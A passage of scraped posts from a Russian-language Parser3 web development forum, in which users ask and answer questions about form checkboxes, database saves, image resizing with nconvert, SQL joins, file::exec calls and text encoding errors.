	<input type=\"checkbox\" name=\"$type.typesid\"^if($edit && ^edit.locate[id;$type.typesid]){ checked=\"checked\"} value=\"1\">\
	$type.typesname<br />\
}\
[/code]"
"75241","Всё получилось. Спасибо, Misha v.3"
"75242","а каким образом в базу сохранить сразу несколько значений?\
\
если чекбокс отмечен, то вставить запись, если не отмечен - удалить:\
[code]\
  ^if($type){\
    ^type.menu{\
      <input type=\"checkbox\" name=\"$type.typesid\"^if($edit && ^edit.locate[typesid;$type.typesid]){ checked=\"checked\" $inserttype}{$deletetype}   value=\"1\">$type.typesname<br />\
    }\
  }\
[/code]\
\
правильно копаю или тут по-другому нужно делать? туплю."
"75243","что-то типа такого:\
[code]\
^if(def $form:action){\
	^rem{ ...нажали кнопку формы, выполняем модификацию записи в БД... }\
\
	^rem{ удаляем все \"привязки\" чекбоксов к записи }\
	^types.menu{\
		^if(отмечен чекбокс){\
			^rem{ добавляем запись об отмеченном чекбоксе к записи }\
		}\
	}\
}\
\
^rem{ достаём данные из БД (если было сохранение, до достанутся уже модифицированные данные) }\
\
^rem{ выводим форму редактирования записи }\
[/code]"
"75245","Здравствуйте\
\
Скажу сразу, что я новичок. У меня проблемы с nconvert - выдаёт ошибку.\
\
[code]$f[^file::exec[/../cgi-bin/nconvert;;-help]]\
<pre>$f.text</pre>[/code]\
Выполняется и на страницу выводится инфа\
[i]** NCONVERT v5.62 (c) 1991-2010 Pierre-E Gougelet (Apr 23 2010/09:02:04) **\
        Version for FreeBSD x86 (X11)  (All rights reserved)\
** This is a freeware software (for non commercial use)\
\
The JPEG code is based in part on the work of the Independent JPEG Group's software.\
The PNG code is based in part on the work of the Group 42, Inc.\
This software is based in part on compression library of Jean-loup Gailly and Mark Adler\
\
Usage : nconvert [options] file ...[/i]\
...\
\
[code]$f.status[/code]\
сообщает: 255 (не знаю что это значит)\
\
Файл для теста обнаруживается\
[code]^if(-f \"/test/test.jpg\"){да}{нет}[/code]\
\
[code]$test[^file::exec[/../cgi-bin/;;-o;/test/test.jpg;-rmeta;-ratio;-q;80;-resize;100;/test/sm.jpg]][/code]\
выдаёт ошибку: \
'/home/www/site2/public_html/nconvert;;-o;/test/test.jpg;-rmeta;-ratio;-q;80;-resize;100;/test/sm.jpg' stat failed: No such file or directory (2), actual filename '/home/www/site2/public_html/nconvert;;-o;/test/test.jpg;-rmeta;-ratio;-q;80;-resize;100;/test/sm.jpg' [file.missing] [uri=/pic/, method=GET, cl=0]\
\
Если делать так:\
[code]^use[common/NConvert.p]\
^use[common/Img.p]\
$oImg[^NConvert::create[\
#	Путь, где лежит nconvert\
	$.sScriptPath[/../cgi-bin]\
#	Имя самого файла nconvert\
	$.sScriptName[nconvert]\
]][/code]\
\
[code]^oImg.resize[/test/test.jpg;-rmeta;-ratio;-q;80;-resize;100;/test/sm.jpg][/code]\
выдаёт ошибку:\
/home/www/site2/public_html/classes//common/Img.p(177:10): 'resize' Width or height MUST be specified [Img] [uri=/pic/, method=GET, cl=0]\
 \
Доп. инфа: parser 3.4.1, nconvert - FreeBSD 6.x, права везде 777.\
\
Не знаю что делать уже. Может что-то не так делаю, но этого не вижу. Помогите пожалуйста."
"75246","Имеет ли значение битность парсера и нконверта?\
парсер 64, нконверт 32 (для FreeBSD 6.x не нашёл 64 битный)"
"75247","http://www.kulikoff.net/parser3/img/"
"75248","это ок. спасибо вам. \
[code]^oImg.resize[/test/test.jpg;/test/sm.jpg;120;120;$.bRemoveMeta(1) $.bKeepRatio(1)][/code]"
"75249","[code]\
$test[^file::exec[/../cgi-bin/;;-o;/test/test.jpg;...]]\
[/code]\
[quote]\
выдаёт ошибку: ' No such file or directory (2),'\
[/quote]\
\
ну так наверное правильнее было указать путь к nconvert, а не к директории cgi-bin ;)\
\
а вообще да, по моему тоже лучше воспользоваться уже существующим классом NConvert, который как мне кажется, несколько упрощает ковыряние в параметрах.\
\
кстати, если речь идёт в основном про resixe, то могу выложить \"расширение\" к этим классам, которое умеет делать более умный resize (fit-smallest-side, fit-biggest-side, stretch)"
"75250","Здравствуйте. Проблема такая: есть сайт который написан на php - нужно переделать под парсер, но по требованию сеошников, нужно что бы были сохранены все ссылки. Я подумал, можно ведь как нибудь в .htaccess задать что бы парсер обрабатывал не только .html, но и .php. То есть, в .php-то будет парсерный код, но расширение будет прежним и ссылки сохранятся. Сам я не силен в настройках апача, и вопрос немножко не в тему форума, но решился задать. Помогите плиз."
"75251","[quote]кстати, если речь идёт в основном про resixe, то могу выложить \"расширение\" к этим классам, которое умеет делать более умный resize (fit-smallest-side, fit-biggest-side, stretch)[/quote]\
\
да, в основном ресайз. \
выложите пожалуйста это ваше \"расширение\"."
"75252","Подскажите, пожалуйста, стоит ли такой запрос разбить на отдельные?\
\
[code]^CSQL.table{SELECT ibase.baseid, ibase.basename, ibase.basenaspunkt, ibase.baseudal, itypes.typesid, ibase.basecoord, itypes.typesname, ibase_itypes.tybaseid, ibase_itypes.tytypesid, ibase_igeo.gebaseid, ibase_igeo.gegeosid, igeo.geoid, igeo.geoname, ibase_foto.base_id, ibase_foto.image, ibase_foto.foto_name \
FROM ibase \
LEFT JOIN ibase_itypes ON (ibase.baseid = ibase_itypes.tybaseid) \
LEFT JOIN itypes ON (ibase_itypes.tytypesid = itypes.typesid) \
LEFT JOIN ibase_igeo ON (ibase.baseid = ibase_igeo.gebaseid) \
LEFT JOIN igeo ON (ibase_igeo.gegeosid = igeo.geoid) \
LEFT JOIN ibase_foto ON (ibase.baseid = ibase_foto.base_id) \
WHERE ibase.baseunik = 0 AND itypes.typesid = 1 \
ORDER BY ibase.vizits DESC}[/code]\
 \
..5 лефт джоинов + эта \"конструкция\" менюшится.\
(innodb, внешние ключи)"
"75253","1. почему используются именно LEFT JOIN-ы? \"AND itypes.typesid = 1\" означает, что как минимум для ibase_itypes и itypes лучше использовать INNER JOIN-ы.\
\
2. для чего вы хотите разбивать запрос? если он вызывает проблемы с производительностью, то это оно (и начинать надо с EXPLAIN), если \"чтоб было\" или \"говорят, что надо разбивать\" -- это другое.\
\
3. как часто выполняется этот запрос? если раз в сутки -- забейте на него и займитесь чем-нить более полезным.\
\
4. кроме производительности запроса есть ещё удобство написания кода и рессурсоёмкость кода. предположим, что в itypes.typesname бывают строки по пол килобайта, и запросом достаётся по 1000 записей. получается, что для отображения этим itypes.typesname просто достаётся дополнительно пол мегабайта строк (а у нас работает cgi), хотя самих записей в таблице itypes -- 10. тут удобнее заранее достать в хеш все эти записи, а выводить строки при используя хэш-лукапы. т.е. из запроса join уберётся, но не потому, что он именно там мешается, а потому, что сделать иначе -- удобнее и менее рессурсоёмко."
"75254","сделать так можно, и делается это очень просто.\
\
но хранить в файлах с расширением .php код на Parser -- очень плохая идея сама по себе и такой подход может прогневать всех богов.\
\
лучше почитайте про rewrite и с его помощью реализуйте редиректы с .php на .html (с ключиком R, чтобы поисковики получили нужный статус и проиндексировали сайт по новому). это потребует написать буквально пару строк в .htaccess."
"75255","[quote]1. почему используются именно LEFT JOIN-ы? \"AND itypes.typesid = 1\" означает, что как минимум для ibase_itypes и itypes лучше использовать INNER JOIN-ы.[/quote]\
\
иннер джоины - это ок. да.\
\
чуть поясню по таблицам: \
ibase - основная инфа, \
igeo - список значений, \
ibase_igeo - промежуточная таблица с внешними ключами (сейчас одна запись ibase может содержать одну запись igeo), \
itypes - ещё один список значений, \
ibase_itypes - промежуточная таблица с внешними ключами (сейчас одна запись ibase может содержать несколько itypes)\
\
в итоге всё это менюшится (для каждого ibase - одно igeo и несколько itypes).\
\
\
[quote]2. для чего вы хотите разбивать запрос? если он вызывает проблемы с производительностью, то это оно (и начинать надо с EXPLAIN), если \"чтоб было\" или \"говорят, что надо разбивать\" -- это другое.[/quote]\
\
записей пока минимум. с эксплейном не начинал. я вот и спрашиваю вашего опыта, как лучше делать. может быть я вообще не туда копаю и нужно по-иному делать. \
записей в таблице ibase планируется до 1000, ibase_igeo тоже 1000 (если 1 к 1), в ibase_itypes - примерно 4000 (1 ко многим).\
\
\
[code]3. как часто выполняется этот запрос? если раз в сутки -- забейте на него и займитесь чем-нить более полезным.[/code]\
\
в том то и дело, что этот запрос основной. он формирует картотеку, которая в разных разделах меню отоображает свои igeo или itypes, отсюда у меня в запросе и \"AND itypes.typesid = 1\". то есть, если планирую 10 разделов меню, то 10 таких запросов с разными itypes.typesid = 1, 2, 3,.. \
жутко как-то.. как лучше организоваться в этом случае?\
\
\
[quote]4. кроме производительности запроса есть ещё удобство написания кода и рессурсоёмкость кода. предположим, что в itypes.typesname бывают строки по пол килобайта, и запросом достаётся по 1000 записей. получается, что для отображения этим itypes.typesname просто достаётся дополнительно пол мегабайта строк (а у нас работает cgi), хотя самих записей в таблице itypes -- 10. тут удобнее заранее достать в хеш все эти записи, а выводить строки при используя хэш-лукапы. т.е. из запроса join уберётся, но не потому, что он именно там мешается, а потому, что сделать иначе -- удобнее и менее рессурсоёмко.[/quote]\
\
это дело конечно, но с реализацией на моём уровне будет проблематично. можете примерчик привести c хэш-лукапами?"
"75256","Сгенерируйте тестовые данные в БД, создайте нужные индексы (по которым джойните)и посмотрите результат.\
\
Либо забейте, и делайте тестовые замеры по мере заполнения базы\
\
В запросе может быть сколько угодно JOIN, хоть 50 - сам по себе этот факт ни о чем плохом не говорит (и _как правило_ - лучше нескольких запросов). Если имеются все нужные индексы а данных не критически много - все будет нормально."
"75257","Linux xb3.serverdomain.org 2.6.26-2-686-bigmem #1 SMP Thu Jan 27 01:21:02 UTC 2011 i686"
"75258","Для 32-битного Linux"
"75259","http://code.google.com/p/parser3-pf/source/browse/trunk/pf/images/pfImageMagick.p"
"75260","доброго утра\
я уже не знаю что делать. \
как сохранить массив данных из документации. приходит одно поле и хоть ты тресни.\
помогите пожалуйста. горю\
\
[code]<form method=\"POST\"> \
   <p><input type=checkbox name=hobby value=\"Театр\">Театром</p> \
   <p><input type=checkbox name=hobby value=\"Кино\">Кино</p> \
   <p><input type=checkbox name=hobby value=\"Книги\">Книгами</p> \
   <p><input type=submit value=\"OK\"></p> \
</form> \
$hobby[$form:tables.hobby] \
^if($hobby){ \
    Ваши хобби:<br /> \
    ^hobby.menu{ \
        $hobby.field \
    }[<br />] \
}{ \
    Ничего не выбрано \
}[/code]"
"75261","1. вижу корректный код, который должен выводить список значений отмеченных checkbox-ов. что конкретно не получается?\
\
2. что вы подразумеваете под \"сохранить\"? сохранить в БД, в файл, в переменную, на луну?\
\
3. если вы всё про [URL=http://www.parser.ru/forum/?id=75242]это[/URL], то давайте для начала напишите самостоятельно хоть какой-то вариант \"сохранения данных с БД\", а потом вам будут подсказывать, как решить возникшие проблемы."
"75262","[URL=http://www.parser.ru/f/1/examples/img/ImageResize.zip]бамц[/URL]\
\
клас придётся подправить, т.к. у меня он завязан на несколько глобальных переменных (которые определяются в конфигурационном auto.p, т.к. на разных хостингах могут быть доступны разные скрипты по работе с изображениями)"
"75263","[code]$s[Сообщение]\
^file::exec[c:\\windows\\system32\\net.exe send $env:REMOTE_HOST $s][/code]\
\
Почему-то выдаёт ошибку:\
[code]exec failed - Не удается найти указанный файл (2). Consider adding shbang line (#!x:\\interpreter\\command line)[/code]\
\
Пробовал пихать net.exe и в корень веб пространства и в cgi-bin и при вызове из тех мест всё-равно такая ошибка.\
Может существует другой способ осуществить отправку нетсендом средствами парсера?"
"75265","[code]Internal server error (Parser)\
\
В работе Parser произошла ошибка:\
\
method_frame may not be overwritten with file, store it to variable instead\
\
Ошибку вызвал этот фрагмент:\
MAIN\
Ошибка произошла при работе с файлом:\
\
…//auto.p, строка номер 19\
\
Вот что говорится в FAQ об этой ошибке:\
\
Производится попытка добавить в тело страницы объект, который не может быть выведен Парсером. Например, если написать в чистом поле ^date::now[] то получим такую ошибку. Чтобы вывести дату нужно сделать примерно следующее:\
\
$now[^date.now[]]\
^now.sql-string[]\
\
Аналогично с объектами таблица, хеш и т.д.\
\
Проблема возникла при выполнении:\
\
body: …//auto.p строка 19[/code]\
\
До этого ошибки с этим куском кода никогда не возникало."
"75268","Из этого всего я могу различить лишь имя хоста. %)"
"75269","Может не стоит и пытаться? Или всё же этот класс вполне универсален для моей задачи? :)"
"75270","P.S. можете отдать результат через $response:download, сохранить скачанное и посмотреть на него глазами."
"75272","Разобрался. Позабыл, что в домене нахожусь. Надо было всего лишь прописать вместо $env:REMOTE_HOST /DOMAIN:$env:REMOTE_HOST :)\
Осталось теперь кодировку переколбасить. Скорее всего в виндовскую, т.к. юникод не катит. Спасибо за помощь! :)"
"75273","т.е. надо:\
1. погуглить и выяснить что за кодировка в output-е\
2. найти файл с этой кодировкой (или сделать самому)\
3. при exec указать эту кодировку, чтобы парсер из неё перекодировал буквы."
"75274","Там походу было UTF-8, т.к. если тупо переконвертить документ в нотепаде в АНСИ, то выдаётся нормально.\
А как прописать кодировку в exec? В параметре env_hash, как заголовок?"
"75275","После перекодировки блокнотовского документа с кодом парсера из UTF-8 в ANSI возникает ошибка parser.compile, что якобы я не поставил пару какой-то скобке или не заэкранировал точку с запятой. Проверив тщательно документ несколько раз я не нашёл подобных ошибок. Парсер говорит, что она в самом конце документа. Менял обратно кодировку, всё то же самое. А если как-то модифицировать документ, то бывает пишет, что эта ошибка на несуществующем месте, т.е. несколькими символами позже конца документа. Подскажите пожалуйста что за чертовщина творится?"
"75276","не знаю почему, тоже так пару раз было... часа 2 убил на поиск открытой скобки\
Попробуйте этот-же код скопировать в другой html-файл и запустить его..."
"75277","пробовал и это и по-всякому :("
"75278","спасибо.\
буду пробовать"
"75282","А вот и не всё. Про кодировку только формат если бинарный выставить. В env_hash \"дополнительные переменные окружения\". Если это, тогда я был прав когда написал про ключ с кодировкой. Но не всяк догадается же. Можно было неного подробнее сделать справочник.:)"
"75283","Что касается документации, то никто же не мешает вам поучаствовать в ее улучшении. Наверное, не стоит напоминать, что Парсер открытый проект."
"75285","... т.е. удаляйте куски кода пока не найдете ошибку."
"75287","...это в тему: [url=\"http://www.parser.ru/forum/?id=73995\"]http://www.parser.ru/forum/?id=73995[/url]\
или [url=\"http://www.parser.ru/forum/?id=72826\"]http://www.parser.ru/forum/?id=72826[/url]"
"75288","а вообще, как обычно, мало что известно о проблеме:\
- чем и как перекодировали. перекодировщик, чисто случайно, не \"забыл\" удалить BOM код? \
- чем проверялось, что перекодировалось корректно у указанную кодировку.\
- кроме перекодировки букв обычно требуется вносить правки в $request:charset (глобально или локально)\
- пробовалось-ли перекодировать всё обратно? может в момент перекодирования рука дрогнула и в довесок что-то случайно удалилось, из-за чего скобки действительно оказались непарными? обычно проверяется в редакторе, который показывает парные скобки.\
- само сообщение об ошибке тоже было-бы неплохо приводить (причем оригинальное, парсерное)."
"75289","Редактор Notepad2. Там есть подстветка парных скобок. Кодировал из обычного UTF-8 в ANSI и обратно. Насколько я понимаю с BOM кодом вообще бы вывело пару-тройку непонятных символов вместо ошибки. И Notepad++ тоже пробовал."
"75290","[quote]\
Насколько я понимаю с BOM кодом вообще бы вывело пару-тройку непонятных символов вместо ошибки\
[/quote]\
\
неправильно понимаете.\
\
P.S. попробуйте обратить внимание на то, сколько я задал вопросов (или указал вещей, на которые надо обратить внимание) и сколько вы дали \"ответов\"."
"75291","Оказалось в коде были ютээфные стрелки вниз и вверх, которые при перекодировании в АНСИ переколбасились в букву \"v\" и служебный символ \"^\" cсоответственно. Последний и заэкранировал рядом стоящую фигурную скобку. Алах акбар. :\\"
"75292","А почему нет в документации?"
"75294","Надо добавить в таблицу строку через метод ^table.append[], но после новых указаний их количество увеличилось и теперь занимает несколько экранов. Работать с таким кодом как-то не удобно.\
Насколько я помню в других языках есть средства для плавного перехода на новую строку, которые интерпретируется компилятором как одна.\
Например что-то вроде\
^table.append[$var1	$var2	$var3	$var4\\\
	$var5]"
"75296","Большое спасибо ) Прошу прощения, что запоздал с ответом."
"75297","Документировать возможности языка?"
"75298","1. не получается грамотно сохранять эти данные в одну ячейку бд\
\
2. сохранить в бд\
\
3. у меня получается сохранить несколько значений в одну ячейку только двумя формами: первая форма выводит вторую форму с input, который содержит список значений через запятую (но почему-то с пробелами). да, извращение) не знаю как ещё\
\
[code]<form method=\"post\">\
	<p><input type=checkbox name=color value=\"1\">Красный</p> \
	<p><input type=checkbox name=color value=\"2\">Синий</p> \
	<p><input type=checkbox name=color value=\"3\">Зелёный</p> \
	<p><input type=submit value=\"OK\"></p> \
</form>\
$color[$form:tables.color] \
^if($color){\
<form method=\"post\" action=\"\">\
	<p><input type=\"text\" name=\"typez\" value=\"\
^color.menu{ \
	$color.field \
}[,] \
\"></p> \
	<p><input type=submit value=\"OK\"></p> \
</form>\
}{отметить}[/code]"
"75299","Необходимый минимум включает в себя:\
—знание парсера. :)\
—знание HTML, CSS, JavaScript и SQL;\
—представление об XML и XSLT.\
\
Примеры кода (от 30kb, законченность значения не имеет)\
и ссылки на свои работы (сайты) посылать на moko@design.ru.\
\
Note: не упускайте свой шанс. :) Прошлый раз вакансия\
была в сентябре."
"75300","P.S. в будущем о косяках в доке лучше сообщать через комментарии к документации."
"75301","столкнулся с проблемой, старый сайт на втором парсере у заказчика перестал работать в новых версиях гугл хром и opera\
\
не передаются значения форм в параметр ^form[action]\
\
в чём может быть причина?"
"75302","Не был уверен, что это косяк в доке. )"
"75303","Я не уверен насчёт того, что вы имеете в виду, но вы напомнили мне о недавней ситуации с атрибутом сабмита \"formAction\", в который у нас годами успешно помещалось наименование действия (updateUser, deleteDriver и т.п.), и в который как-то стал попадать URL текущей страницы в новых версиях FF и Chrome. В HTML5 это штатный параметр кнопки."
"75304","[code]^color.menu{$color.field}[,][/code]\
Вот так будет без пробелов, я думаю. )"
"75305","Вам же никто не мешает [code]^color.menu{$color.field}[,][/code] поставить в нужное место запроса к БД."
"75306","да, спапсибо, теперь без пробелов. там были лишние пробелы, которых не заметил."
"75307","в том то и дело, что я двумя формами обхожусь, что не фонтан.\
а запрос вот такой\
[code]^CSQL.void{insert into multi (multi) values('$form:typez')}[/code]\
ну то есть после первого submit у меня в $form:typez появляются значения.вторым submit из новой формы записываю в бд.\
можно обойтись одним submit?\
я вообще мне кажется не так делаю..."
"75308","подскажите пожалуйста, как одним submit обойтись"
"75309","Добрый день, столкнулся с проблемой при парсенге ответа для ява-скрипта. Доку рыл и поиск использовал, но что то ничего. Да и в голову элементарного не приходит - а должно быть какое-то простое решение?"
"75310","[quote][24 февраля 2011]  Выпущена версия 3.4.1:.....\
Метод ^string:js-unescape[...] теперь также декодирует символы, закодированные в виде \\uXXXX (раньше декодировал только %uXXXX).[/quote]"
"75312","[code]<form method=\"post\">\
	<p><input type=checkbox name=color value=\"1\">Красный</p> \
	<p><input type=checkbox name=color value=\"2\">Синий</p> \
	<p><input type=checkbox name=color value=\"3\">Зелёный</p> \
	<p><input type=submit value=\"OK\"></p> \
</form>\
^if(def $form:tables.color){\
	^CSQL.void{insert into multi (multi) values('^form:tables.color.menu{$form:tables.color.field}[,]')}\
}[/code]"
"75313","спасибо!"
"75314","Можно и без возвращения результата"
"75315","Библиотека позволяет переводить английские существительные из формы множественного числа в форму единственного числа и наоборот.\
\
У меня используется в ORM (имя класса преобразуется к имени таблицы Author -> authors), может быть, кому-то еще где-нибудь пригодится :)\
\
https://github.com/dwr/parser3-inflect/"
"75316","http://parser.ru/docs/lang/?filecgiexec.htm"
"75317","Мне, например, удобно в шаблоны передавать ссылку на объект, а не вызывать статический класс из глобальной области видимости."
"75320","Cоздайте скрипт dirlist.sh:\
\
#!/bin/sh\
ls -la\
\
И уже его используйте в $f[^file::exec[dirlist.sh]] $f.text"
"75321","При вызове скриптов через ^file::exec[] /корнем является корень сайта. Проще всего как написано ниже использовать заглушки в виде баш скриптов.\
Да и $PATH наверно пустой, да и толку от него мало с таким корнем)"
"75322","Не выкладывали судя по всему? В примерах что-то не видно...\
Буду благодарен если поделитесь - надо для подключения QIWI"
"75323","Или может быть даже как иначе сделать оптимальнее.\
Я выполняю в цикле поиск по ФИО которые находятся в одной колонке эталонной таблицы (etalon). Строка для поиска у меня берется из другой таблицы (uszn), где Ф И О находятся в разных колонках.\
[code]\
^uszn.menu{\
^if(^etalon.locate[2;${uszn.2} ${uszn.3} ${uszn.4}]){\
#некий код\
}\
[/code]\
Единственная беда, что в таблице etalon фио написано через десяток пробелов. В принципе понимаю, что его надо очистить при помощи untaint, но что-то я не так делаю. Подскажите, плиз."
"75326","Как вызывать метод, описанный в корневом auto.p, внутри пользовательского класса?"
"75327","В Парсере это называется \"пользовательский оператор\". Если возникает конфликт имен, то можно писать ^MAIN:method[]."
"75328","Это обычный способ вызывания метода и он не работает, к примеру, вот в такой ситуации:\
\
[code]/auto.p\
#########################################\
@main[]\
^header[]\
^body[]\
^footer[]\
\
. . .\
\
@body[]\
^content[]\
\
. . .\
\
@depttitle[s]\
^connect[$connect-string]{\
	$tDeptTitle[^table::sql{SELECT	id,\
					title,\
					place\
				FROM	contdeptsdb\
				WHERE	id=$s\
	}]\
}\
$sTrim[^place[$tDeptTitle.place]]\
$tDeptTitle.title (^sTrim.trim[])\
\
######################################################\
\
/addr/auto.p\
#########################################\
@USE\
VCF.p\
\
@auto[]\
$vcf[^VCF::show[]]\
\
@vcf[uid;null]\
^vcf.show[$uid;$null]\
\
######################################################\
\
/addr/index.html\
#########################################\
@content[]\
\
. . .\
\
^rem{[i]Вот здесь метод вызывается нормально[/i]}\
<td>[b]^depttitle[$tAddrress.deptid][/b]</td>\
\
. . .\
\
######################################################\
\
/classes/VCF.p\
\
@CLASS\
VCF\
\
@show[uid;null]\
\
. . .\
\
$filecont[BEGIN:VCARD\
VERSION:3.0\
FN^;CHARSET=${sVCharset}:$tAddress.name\
N^;LANGUAGE=ru^;CHARSET=${sVCharset}:$sNameSplit.0^;$sNameSplit.1^;$sNameSplit.2\
BDAY:$tAddress.bday\
TEL^;TYPE=CELL,VOICE,PREF:$tAddress.phone\
EMAIL^;PREF^;INTERNET:$tAddress.email\
TITLE^;CHARSET=${sVCharset}:$tAddress.position\
^rem{[i]А вот здесь не работает[/i]}\
ORG^;CHARSET=${sVCharset}:$sOrg^;[b]^depttitle[$tAddress.deptid][/b]\
NOTE^;CHARSET=${sVCharset}:Табельный номер: $tAddress.tabnum\
X-MS-OL-DESIGN^;CHARSET=${sVCharset}:<card xmlns=\"http://schemas.microsoft.com/office/outlook/12/electronicbusinesscards\" ver=\"1.0\" layout=\"left\" bgcolor=\"ffffff\"><fld xmlns=\"\" prop=\"name\" align=\"left\" dir=\"ltr\" style=\"b\" color=\"000000\" size=\"9\"/><fld xmlns=\"\" prop=\"org\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"title\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"/><fld xmlns=\"\" prop=\"blank\" size=\"8\"/><fld xmlns=\"\" prop=\"email\" align=\"left\" dir=\"ltr\" color=\"000000\" size=\"8\"><label align=\"left\" color=\"626262\">E-mail:</label></fld></card>\
END:VCARD\
]\
\
. . .[/code]"
"75330","Забыл написать, что как раз-таки через MAIN первым делом и пробовал, когда по обычному не получилось, и всё-равно не работает."
"75331","Тем более, что вы не показываете нам ошибку, которую Парсер выдает в месте, где вызов метода якобы \"не работает\"."
"75332","... а то, что метод show класса VCF одновременно используется и как конструктор класса сделано специально?"
"75333","операторы имеют больший приоритет, чем методы класса, т.е. при конфликте имён это для вызова методов класса приходится писать префикс ^self., а не ^MAIN: для операторов.\
\
$MAIN: (или ^MAIN:var.method[]) нужен лишь для обращения к глобальным переменным из классов (что делать не рекомендуется)\
\
\
один метод может быть использован и как конструктор и как собственно метод. хотя это тоже несколько странная идея и я бы подобной возможностью не пользовался.\
\
\
если проблема всё-таки имеет место быть (хотя я пока не могу понять, почему она возникает), то требуется её выделение в виде bug.zip, т.к. приведённые фрагменты не проясняют того, как вообще работает код."
"75334","В этом конфликтов имён нет, это совпадение, потому как я другого метода не знаю, как подключать пользовательский класс. Не научился ещё."
"75335","CMS Parser + JQuery\
В данный момент под ней работают около 80 сайтов.\
Ищу единомышленников для поддержания и развития проекта.\
Готов выложить исходники, но сначала хотел бы выслушать критику и мудрые советы!\
В тестовой заблокированы: MySQL менеджер и файловый менеджер.\
---------------------------------------------------------------- \
доступ к админке: [url=\"http://test22i.info/admin\"]QAdmin[/url]\
собственно сайт, который можно админить [url=\"http://test22i.info\"]сайт[/url]\
login: user_test\
password: user_password"
"75338","194.28.174.78"
"75339","Да и вообще на сайт тоже самое)"
"75340","Уважаемые гуру и монстры парсера сорри что не по теме, но обратиться больше не к кому... Подскажите как можно получить следующую конструкцию\
[code]\
<select name=\"group_selector\" id=\"group_sel\" onchange=\"setGroup(this.value)\">\
<option value=\"0\" selected>Все группы</option>\
<option value=\"1\" selected>Группа1</option>\
</select>\
<select name=\"sub_group_selector\" id=\"sub_group_sel\" onchange=\"setSubGroup([b]вот тут значение из первого селекта[/b]&this.value)\">\
<option value=\"0\" selected>Все подгруппы</option>\
<option value=\"1\" selected>Подгруппа1</option>\
</select>\
\
<select name=\"brand_selector\" id=\"brand_sel\" onchange=\"setBrand([b]значение из первого селекта[/b]&[b][i]значение из вторго селекта[/i][/b]&this.value)\">\
<option value=\"0\" selected>Все бренды</option>\
<option value=\"1\" selected>Бренд1</option>\
</select>\
[/code]\
Сорри, прошу ногами сильно не пинать в яве дуб (да и не только в яве)...\
Заранее спасибо всем за ответ."
"75341","http://test.22i.info/\
http://test.22i.info/admin"
"75342","Добрый день!\
\
getElementById('id_нужного_select').value сработает.\
\
По html есть претензия в наличии \"selected\" у нескольких полей - должно быть только у одного."
"75343","Круто, но пока любой сайт создать с ее помощью нельзя :)\
\
По админке:\
\
1. Есть претензия по цветам - большинство textarea и input смотрятся как кнопки (потому что по цвету похожи на ссылки).\
\
2. То, что сейчас является персональными настройками, лучше всего разделить - на \"настройки домена\" и \"глобальные переменные шаблонов\", например - для блога адрес и описание компании будут не нужны, но, скажем, понадобится поле \"LiveJournal\" аккаунт. Обычно остается только URL-сайта (для того, чтобы вставлять его в e-mail сообщения с сайта), название сайта (для тех же e-mail сообщений с сайта) и e-mail (поле \"от кого\" для e-mail уведомлений).\
\
3. Favicon, считаю, нужно объединить с ресурсами.\
\
4. Ресурсы лучше не делить на отдельные категории - чаще нужно завести материал (по крайней мере, на корпоративных сайтах), где будут и картинки и pdf документы. При паре-тройке десятков таких материалов уже неудобно тыкаться по разным категориям-папочкам.\
\
5. У новостей index, index_2 и т. п. категории, как я понял - нужно иметь возможность их редактировать.\
\
6. \"Афиша\" по сути клон новостей - в принципе, можно было бы и одним разделом их сделать, просто подумать над категориями.\
\
7. Как вставлять ресурсы в \"новости\" и \"афишу\" я так и не нашел.\
\
8. Следует обеспокоиться легким заведением своих панелек в админке - чтобы можно было легко создать на сайте фотогалерею или формочку обратной связи - и простенький файлменеджер, чтобы можно было редактировать парсерный код полученных компонентов."
"75344","Спасибо большое, по \"selected\" это проблема копипаста ;)"
"75345","-нет чпу.\
\
\
Редактор меню\
не понятно что index, index_2 это выбор языка, понял это только когда попал в редактор главного меню.\
как уже было сказано, не хватает панелек в редакторе для модулей сайта.\
\
\
Новости и Афиша\
Вы отдали списку новостей 90% всего рабочего пространства, в то время как под форму добавления оставшееся место по ширине, которое еще и ограничено по высоте. Нет редактора как у обычных страниц."
"75346","Уважаемые гуру и монстры парсера есть проблема, ай нид хелп...\
Собственно ниже куски кода:\
1. Первоначальная форма:\
[code<form action=\"#\">\
<div id=\"filter_selector_container\">\
<select name=\"group_selector\" id=\"group_sel\" onchange=\"setVariable(this.form)\">\
    ^if($local_group==0){\
      <option value=\"0\" selected>Все группы</option>\
    }{\
      <option value=\"0\">Все группы</option>    \
    }  \
  ^group_table.menu{\
    ^if($local_group==$group_table.group_id){\
      <option value=\"$group_table.group_id\" selected>$group_table.group_name</option>\
    }{\
      <option value=\"$group_table.group_id\">$group_table.group_name</option>\
    }\
  }\
</select>\
\
<select name=\"sub_group_selector\" id=\"sub_group_sel\" onchange=\"setVariable(this.form)\">\
      <option value=\"0\" selected>Все подгруппы</option>\
</select>\
\
<select name=\"brand_selector\" id=\"brand_sel\" onchange=\"setVariable(this.form)\">\
      <option value=\"0\" selected>Все бренды</option>\
</select>\
</div>\
</form>[/code]\
2.Потом собственно кусок на яваскрипт:\
[code]function setVariable(variable){\
$.ajax({\
url: '/jquery/adm/filter_selector.rp?'+variable,\
success: function (data, textStatus) {\
    $('#filter_selector_container').html(data);\
}\
});}[/code]\
3. И последнее, собственно тот кусок который обрабатывает форму ПРИВОЖУ УРЕЗАНЫЙ БЕЗ ЗАПРОСОВ К БАЗЕ:\
[code]\
$local_group($form:group_selector)\
$local_sub_group($form:sub_group_selector)\
$local_brand($form:brand_selector)\
...\
дальше запросы которые используют переменные $local_group, $local_sub_group, $local_brand\
...\
$responce_filter_form[\
<select name=\"group_selector\" id=\"group_sel\" onchange=\"setVariable(this.form)\">\
    ^if($local_group==0){\
      <option value=\"0\" selected>Все группы</option>\
    }{\
      <option value=\"0\">Все группы</option>    \
    }  \
  ^group_table.menu{\
    ^if($local_group==$group_table.group_id){\
      <option value=\"$group_table.group_id\" selected>$group_table.group_name</option>\
    }{\
      <option value=\"$group_table.group_id\">$group_table.group_name</option>\
    }\
  }\
</select>\
\
<select name=\"sub_group_selector\" id=\"sub_group_sel\" onchange=\"setVariable(this.form)\">\
    ^if($local_sub_group==0){\
      <option value=\"0\" selected>Все подгруппы</option>\
    }{\
      <option value=\"0\">Все подгруппы</option>    \
    }  \
^if(def $sub_group_table && $sub_group_table>0){\
  ^sub_group_table.menu{\
    ^if($local_sub_group==$sub_group_table.sub_group_id){\
      <option value=\"$sub_group_table.sub_group_id\" selected>$sub_group_table.sub_group_name</option>\
    }{\
